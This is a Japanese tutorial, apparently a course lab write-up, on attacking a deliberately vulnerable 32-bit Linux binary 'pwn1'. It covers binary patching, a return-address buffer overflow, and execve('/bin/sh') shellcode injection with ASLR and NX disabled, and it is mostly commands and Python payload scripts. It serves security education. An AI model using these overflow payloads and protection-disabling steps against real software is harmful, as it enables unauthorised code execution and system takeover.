Linux x86バイナリ解析とバッファオーバーフロー攻撃の実践

概要

本記事では、Linux環境上の32ビット実行ファイルを対象とした、リバースエンジニアリングと脆弱性攻撃の手法について解説します。対象プログラムpwn1は、ユーザー入力をエコー backするfoo関数を呼び出しますが、バイナリ内には通常の実行フローでは呼び出されないgetShell関数が含まれています。本演習の目的は、この隠された関数を実行させるために、バイナリの直接改変、バッファオーバーフローによる制御フローの乗っ取り、そしてShellcodeの注入という3つのアプローチを適用することです。

環境準備

実行環境はKali Linuxを想定しており、32ビットバイナリの動作に必要なライブラリと解析ツールを予め整えます。

# 32bit互換ライブラリのインストール
sudo apt-get install lib32z1 libc6-i386

# 解析用ツールおよびユーティリティのインストール
sudo apt install gdb vim xxd

手法1:機械語命令の直接書き換え

最初の手法は、逆アセンブルを通じてプログラムの制御フローを特定し、実行ファイルのバイナリデータを直接編集してgetShell関数を呼び出すように変更するものです。

逆アセンブルとアドレス特定

objdumpを使用してバイナリを解析し、main関数内のfoo関数呼び出し箇所と、ターゲットとなるgetShell関数のアドレスを特定します。

objdump -d pwn1 | grep -A 20 "<main>:"
objdump -d pwn1 | grep "<getShell>:"

解析により、main関数からfooを呼び出しているcall命令のアドレスと、そこに記述されている相対オフセットを確認します。call命令(オペコードE8)の後ろには、次の命令アドレスからの相対距離が格納されています。計算式:TargetAddress = NextInstructionAddress + Offsetを用いて、このオフセット値をgetShell関数へジャンプするための値に書き換えます。

バイナリ編集

vimxxdを組み合わせて、16進数レベルでファイルを編集します。

# vimを起動し、バイナリモードで開く
vim pwn1
:%!xxd

# 該当するオフセット値(例:d7ffffff)を計算した値に書き換える
# 書き換え後、元の形式に戻して保存
:%!xxd -r
:wq

編集後、再びobjdumpで確認し、call命令のジャンプ先がgetShellになっていることを検証します。実行してシェルが起動すれば成功です。

手法2:バッファオーバーフローによるリターンアドレス上書き

次に、foo関数における入力処理の不備を利用したスタックベースのバッファオーバーフロー攻撃を行います。入力データを調整し、スタック上のリターンアドレスをgetShellのアドレスで上書きすることで、関数復帰時に制御を移します。

脆弱性の確認とオフセット特定

gdbを用いてプログラムをデバッグし、入力バッファとリターンアドレスの位置関係を調べます。

gdb pwn1
(gdb) run
# 入力待ち状態で特定のパターン(例: AAAA...)を入力し、クラッシュさせる
(gdb) info r eip

EIPレジスタが特定の文字列(例: "41414141")で上書きされる場合、その位置までのデータ量がリターンアドレスを上書きするために必要なパディングサイズとなります。ここでは、32バイトのパディングが必要であると仮定します。

エクスプロイトコードの作成

Pythonを使用して、パディングデータとgetShellのアドレス(例: 0x0804847d)を結合したペイロードを作成します。Perlの代わりにPythonスクリプトを用いることで、構造を変更しています。

import struct

# パディング(バッファサイズ + ベースポインタ分)
padding = b'A' * 32

# getShell関数のアドレス(リトルエンディアン)
ret_addr = struct.pack('<I', 0x0804847d)

# ペイロードの生成
payload = padding + ret_addr

with open('exploit_input', 'wb') as f:
    f.write(payload)

生成したファイルをプログラムにパイプ入力します。

(cat exploit_input; cat) | ./pwn1

攻奏功すれば、getShellが実行されシェルが返ってきます。

手法3:Shellcodeの注入と実行

最後に、既存のコードにジャンプするのではなく、スタック上にシェルを起動するコード(Shellcode)を配置し、そこへ実行フローを移します。これには、スタックの実行許可設定(NXビットの無効化)とASLR(アドレス空間配置のランダム化)の無効化が必要です。

環境設定

execstackを使用してバイナリのスタック実行許可を与え、カーネルのASLRを一時的に無効化します。

# execstackのインストールと設定
wget http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb
execstack -s pwn1
execstack -q pwn1

# ASLRの無効化
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"

ペイロード構築とアドレス特定

ペイロード構造は「パディング + リターンアドレス + NOPスライド + Shellcode」とします。NOP(No Operation)命令は、正確なアドレスがずれた場合でも、NOPスライド上に着地すればShellcodeまで滑り落ちてくる機能を持ちます。

まず、GDBを用いて攻撃時のスタックポインタ(ESP)の位置を特定します。別の端末からgdb -p [PID]でプロセスにアタッチし、ブレークポイントで停止させてESPの値を取得します。

(gdb) info r esp
# 例: esp = 0xffffcfdc

取得したアドレス(またはその少し後ろ)をリターンアドレスとして設定します。以下のPythonスクリプトで最終的なペイロードを生成します。

import struct

# パディング
padding = b'A' * 32

# ESPを基準にしたリターンアドレス(GDBで調査した値を使用)
# NOPスライドの範囲内に着地するよう調整
ret_addr = struct.pack('<I', 0xffffcff0)

# NOPスライド (0x90)
nop_sled = b'\x90' * 20

# execve("/bin/sh", ...) Shellcode
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
)

payload = padding + ret_addr + nop_sled + shellcode

with open('shellcode_input', 'wb') as f:
    f.write(payload)

このペイロードを入力として与えることで、スタック上に配置されたShellcodeが実行され、シェルを奪取することができます。

(cat shellcode_input; cat) | ./pwn1

タグ: ReverseEngineering BufferOverflow linux x86 Shellcode

7月10日 19:19 投稿